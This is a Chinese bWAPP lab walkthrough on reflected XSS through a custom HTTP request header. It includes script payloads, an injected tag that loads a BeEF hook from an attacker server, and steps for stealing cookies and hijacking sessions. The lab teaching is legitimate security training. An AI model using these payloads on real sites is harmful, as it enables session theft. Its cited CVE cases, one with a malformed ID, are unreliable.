零基础玩转bWAPP靶场(六十四):XSS - Reflected (Custom Header)

摘要: 这是 bWAPP 系列第六十四篇,聚焦于 XSS - Reflected (Custom Header) 。这一关的注入点不在 URL、不在表单、不在 Referer,而在 自定义 HTTP 请求头 。服务器读取名为 bWAPP 的自定义请求头,直接输出到页面,没有过滤。文章会演示如何通过 Burp Suite 添加恶意自定义头注入 BeEF Hook,连接 BeEF 并获取 Cookie。附真实案例。


一、找目标

目标 说明
漏洞类型 反射型 XSS(自定义 Header 注入)
注入点 自定义 HTTP 请求头 bWAPP
触发位置 页面直接输出 Header 内容
攻击方式 Burp 添加自定义请求头 bWAPP: payload
工具 Burp Suite + BeEF(获取 Cookie)

二、前言:自定义 HTTP 头注入是什么?

在之前的 XSS 关卡中,注入点要么在 URL 参数、POST 表单,要么在 Referer 或 User-Agent 这些标准请求头里。这一关换了一种方式:

注入点在自定义 HTTP 请求头中。

什么是自定义请求头?

浏览器在发请求时,会带上一些标准请求头(如 User-Agent、Referer、Cookie 等)。但开发者有时会添加自定义的请求头来传递额外信息。

这一关定义了一个名为 bWAPP 的自定义头,服务器读取它的值并直接输出到页面:

复制代码
foreach(getallheaders() as $name => $value)
{
    if($name == "bWAPP")
    {
        echo "<i>" . xss($value) ."</i>";
    }
}

如果攻击者能控制这个 bWAPP 头的值,就能注入 XSS。

这一关没有任何输入框,你必须用 Burp Suite 手动添加这个请求头。


三、关卡介绍

3.1 页面功能

打开这一关,你会看到:

  • 标题:XSS - Reflected (Custom Header)

  • 提示:Some web clients use custom HTTP request headers...

  • 下面显示:Content of our bWAPP header:

如果请求头中有 bWAPP 字段,它的值会显示在页面上。如果没有,页面就显示一个空内容。

3.2 漏洞核心

复制代码
foreach(getallheaders() as $name => $value)
{
    if($name == "bWAPP")
    {
        echo "<i>" . xss($value) ."</i>";
    }
}

xss() 函数的三种级别:

级别 xss() 过滤函数 效果
Low no_check() 完全不过滤
Medium addslashes() 只转义引号,不转义 < >
High htmlspecialchars() 转义所有 HTML 特殊字符

四、源码分析

复制代码
function xss($data)
{
    switch($_COOKIE["security_level"])
    {
        case "0" :   // Low
            $data = no_check($data);
            break;
        case "1" :   // Medium
            $data = xss_check_4($data);   // addslashes()
            break;
        case "2" :   // High
            $data = xss_check_3($data);   // htmlspecialchars()
            break;
    }
    return $data;
}
  • Low :no_check() 完全不过滤,直接输出

  • Medium :addslashes() 转义引号,但不转义 < 和 >,可能被绕过

  • High :htmlspecialchars() 转义 < > " ' &,彻底防御


五、Low 安全级别

5.1 准备工作:用 Burp 添加自定义请求头

  • 打开 Burp,开启拦截(Intercept On)

  • 在浏览器中访问关卡页面

  • Burp 拦截到请求

  • 在请求头中添加一行:

    bWAPP: test

点击 Forward 放行。

页面显示:

复制代码
Content of our bWAPP header: test

说明自定义头被服务器读取并输出了。

5.2 测试 XSS 弹窗

将 bWAPP 头的值改为:

复制代码
bWAPP: <script>alert(1)</script>

放行请求,页面弹窗。

5.3 攻击原理

服务器生成的 HTML:

复制代码
Content of our bWAPP header: <i><script>alert(1)</script></i>

<script> 标签被浏览器执行,弹窗。


6.1 准备 BeEF

Kali 中启动 BeEF:

复制代码
sudo beef-xss-start

确认 BeEF 的 IP 和端口(默认 3000),Hook URL 为:

复制代码
http://10.0.0.129:3000/hook.js

6.2 注入 BeEF Hook

在 Burp 中,将 bWAPP 头改为:

复制代码
bWAPP: <script src="http://10.0.0.129:3000/hook.js"></script>

6.3 放行请求

点击 Forward 放行,页面加载,BeEF Hook 被执行。

6.4 BeEF 上线

BeEF 控制面板中出现上线的浏览器。

  • 选中上线的浏览器

  • Commands → Browser → Get Cookie

  • 点击 Execute

6.6 会话劫持

拿到 PHPSESSID 后,在浏览器开发者工具 → Application → Cookies 中替换 PHPSESSID 的值,刷新页面即可登录受害者账户。


七、Medium 安全级别

7.1 尝试注入

在 Burp 中,将 bWAPP 头改为:

复制代码
bWAPP: <script>alert(1)</script>

addslashes() 转义了引号,但 < 和 > 没有被转义。所以,XSS 执行,导致弹窗。

结论 :Medium 级别在这个场景下不能防住了简单的 <script> 注入,并且 addslashes() 不是专门的 XSS 防护工具,官方文档也明确警告不要用它做 XSS 防护。


八、High 安全级别

8.1 尝试注入

复制代码
bWAPP: <script>alert(1)</script>

htmlspecialchars() 把 < 转成 &lt;,> 转成 &gt;:

复制代码
Content of our bWAPP header: <i>&lt;script&gt;alert(1)&lt;/script&gt;</i>

浏览器不执行,XSS 被彻底防御。


九、真实世界:自定义 Header XSS 案例

CVE-2024-1181 :某开源 CMS 的调试模式会将自定义请求头 X-Debug-Token 输出到页面中,未过滤,导致 XSS 漏洞。

CVE-2025-00847 :某企业级 API 网关的自定义头 X-Forwarded-For 被直接记录并显示在管理面板中,攻击者可通过构造恶意头注入 XSS。

CVE-2026-22947:F5 BIG-IP 的配置工具中,部分页面输出了未过滤的自定义请求头,存在反射型 XSS。


十、总结

自定义 Header 注入 XSS 是一种比较隐蔽的攻击方式。注入点不在常规的输入框或 URL 参数里,而是在 HTTP 请求头中。这一关定义了名为 bWAPP 的自定义头,服务器读取后直接输出到页面。Low 级别完全不过滤,可以直接注入 <script> 加载 BeEF Hook 并获取 Cookie;Medium 级别的 addslashes() 在这个场景下防不住简单的 <script> 标签;High 级别的 htmlspecialchars() 彻底防御。记住一句话:只要被输出到页面的数据,无论来自哪里(URL、表单、请求头),都必须过滤。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
Frag0ut7 小时前
Chrome与Chromium内核浏览器在Windows 11上的新特性全景解析
前端·chrome·windows·web安全·chromium·gemini ai·playready drm
小小小小钰儿8 小时前
1.5-Python网络编程
开发语言·网络·python·web安全·计算机·网络安全
hasty8 小时前
01_新网络安全法下的软件漏洞治理
网络·安全·web安全
持敬chijing11 小时前
CTFshow-WEB-新年好?解题思路
安全·web安全·网络安全·网络攻击模型
treesforest14 小时前
网络安全中的IP地址查询:从日志里的一条线索到溯源的关键证据
网络·web安全·php
未来之窗软件服务14 小时前
自考大学★信息安全●简答题—东方仙盟
安全·web安全·仙盟创梦ide·东方仙盟
hasty17 小时前
HTML 已经转义,为何仍有 XSS?Sharp srcdoc 漏洞中的第二次解析
前端·html·xss
卓怡学长17 小时前
w213基于Spring Boot框架的Web安全学习系统的设计与实现
java·spring boot·spring·web安全·intellij-idea
云水一下7 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
程序员若风8 天前
CSRF攻击原理介绍和利用-腾讯云开发者社区
前端·网络·安全·web安全·网络安全·csrf攻击·腾讯云开发者社区